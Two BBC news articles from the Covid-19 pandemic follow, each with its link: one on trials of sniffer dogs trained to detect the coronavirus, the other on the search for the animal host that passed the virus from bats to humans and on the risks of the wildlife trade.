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Specialist sniffer dogs are to be tested to see if they can detect coronavirus. The charity Medical Detection Dogs has already trained dogs to spot the scent of malaria, cancer and Parkinson's. It plans trials on the current pandemic virus with Durham University and the London School of Hygiene and Tropical Medicine (LSHTM). Charity boss Dr Claire Guest said it had to find out how to "safely catch the odour of the virus from patients". "In principle, we're sure that dogs could detect Covid-19," she said. 'Fast and effective' If this is proven, the dogs could be used to screen anyone, including those with no symptoms. "This would be fast, effective and non-invasive and make sure the limited NHS testing resources are only used where they are really needed," Dr Guest said. LSHTM head of disease control Prof James Logan said research showed dogs could detect the odour of malaria infection with a level of accuracy "above the World Health Organisation standards for a diagnostic". A SIMPLE GUIDE: What are the symptoms? AVOIDING CONTACT: Should I self-isolate? DO FACE MASKS WORK? Comparing different types WILL I GET PAID IF I SELF-ISOLATE? The rules on sick pay WHAT IS A PANDEMIC? The WHO's definition Medical Detection Dogs said each disease had its own unique odour. Dogs could be ready in six weeks to help provide a "rapid, non-invasive diagnosis", it said. They could potentially also be trained to tell if someone had a fever. Prof Steve Lindsay, from Durham University's Department of Biosciences, said detection dogs could be used at airports to rapidly identify people carrying the virus. "This would help prevent the re-emergence of the disease after we have brought the present epidemic under control," he said.

https://bbc.in/3dyz85f

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Coronavirus: A hunt for the 'missing link' host species It was a matter of "when not if" an animal passed the coronavirus from wild bats to humans, scientists say. But it remains unclear whether that animal was sold in the now infamous Wuhan wildlife market in China. The World Health Organization says that all evidence points to the virus's natural origin, but some scientists now say it might never be known how the first person was infected. Trade in wild animals is under scrutiny as source of this "spillover". But when wildlife is bought and sold in almost every country in the world, controlling it - let alone banning it - is far from straightforward. Tackling it on a global scale could be the route to stopping a future pandemic before it starts. Global health researchers have, for many years, understood how the trade in wild animals provides a source of species-to-species disease transmission. As life-changing as this particular outbreak has been for so much of the global population, it is actually one of many that the trade has been linked to. As the WHO's technical lead on Covid-19, Dr Maria Van Kerkhove, told the BBC: "We were preparing for something like this as it's not a matter of if, it is a matter of when." How it began Infectious disease experts agree that, like most emerging human disease, this virus initially jumped undetected across the species barrier. Prof Andrew Cunningham, from the Zoological Society of London, explained: "We've actually been expecting something like this to happen for a while. "These diseases are emerging more frequently in recent years as a result of human encroachment into wild habitat and increased contact and use of wild animals by people." The virus that causes Covid-19 joins a murky list of household name viruses - including Ebola, rabies, Sars and Mers - that have originated in wild bat populations. Some of the now extensive body of evidence about bat viruses, and their ability to infect humans, comes from seeking the source of the 2003 outbreak of Sars, a very closely related coronavirus. It was only in 2017 though that scientists pinned down the "rich gene pool of bat Sars-related coronaviruses" in a single cave in China. - the possible source of the pandemic. These viruses have resided in the bodies of bats for millennia, but are pre-programmed with the ability to infect a humans; the key that unlocks some of our cells, where they can replicate. "In the case of Sars-CoV-2 the key is a virus protein called Spike and the main lock to enter a cell is a receptor called ACE2," explained Prof David Robertson, a virologist from the University of Glasgow. "The coronavirus is not only able to fit that ACE2 lock, "it's actually doing this many times better than Sars-1 [the virus that caused the 2003 outbreak] does", he said. That perfect fit could explain why the coronavirus is so easily transmitted from person to person; its contagiousness has outpaced our efforts to contain it. But bringing the bat virus to the door of a human cell is where the trade in wildlife plays an important role. A risky trade Most of us have heard that this virus "started" in a wildlife market in Wuhan. But the source of the virus - an animal with this pathogen in its body - was not found in the market. "The initial cluster of infections was associated with the market - that is circumstantial evidence," explained Prof James Wood from the University of Cambridge. "The infection could have come from somewhere else and just, by chance, clustered around people there. But given that it is an animal virus, the market association is highly suggestive." Prof Cunningham agreed; wildlife markets, he explained, are hotspots for animal diseases to find new hosts. "Mixing large numbers of species under poor hygienic and welfare conditions, and species that wouldn't normally come close together gives opportunities for pathogens to jump species to species," he explained. Many wildlife viruses in the past have come into humans via a second species - one that is farmed, or hunted and sold on a market. Prof Woods explained: "The original Sars virus was transmitted into the human population via an epidemic in Palm civets, which were being traded around southern China to be eaten. "That was very important to know because there was an epidemic in the Palm civets themselves, which had to be controlled to stop an ongoing spillover into humans." In the search for the missing link in this particular transmission chain, scientists found clues pointing to mink, ferrets and even turtles as a host. Similar viruses were found in the bodies of rare and widely trafficked pangolins, but none of these suspect species has been shown to be involved in this outbreak. What we do know is that our contact with, and trading of, wild animals puts us in the path of new diseases that are silently seeking a host. "Trying to make sure that we are not bringing wildlife into direct contact with ourselves or with other domestic animals is a very important part of this equation," said Prof Wood. "And there have been various campaigns to ban all trade in animals and all contact with wildlife," he added, "but what you do then is penalise some of the poorest people in the world. In many cases, by introducing measures like that you drive trade underground, which makes it far harder to do anything about." The WHO has already called for stricter hygiene and safety standards for so-called wet markets in China. But in many cases - such as the trade in bush meat in Sub-Saharan Africa, which was linked with the Ebola outbreak - markets are informal and therefore very difficult to regulate. "You can't do it from an office in London or in Geneva; you have to do that locally on the ground in every country," added Prof Wood. Dr Maria Van Kerkhove agreed: "It's very important we work with population and people who are working at the animal/human interface - people who work with wildlife." What that will be is a truly global and highly complicated effort. But the Covid-19 outbreak appears to have shown us the cost of the alternative.

https://www.bbc.com/news/science-environment-52529830

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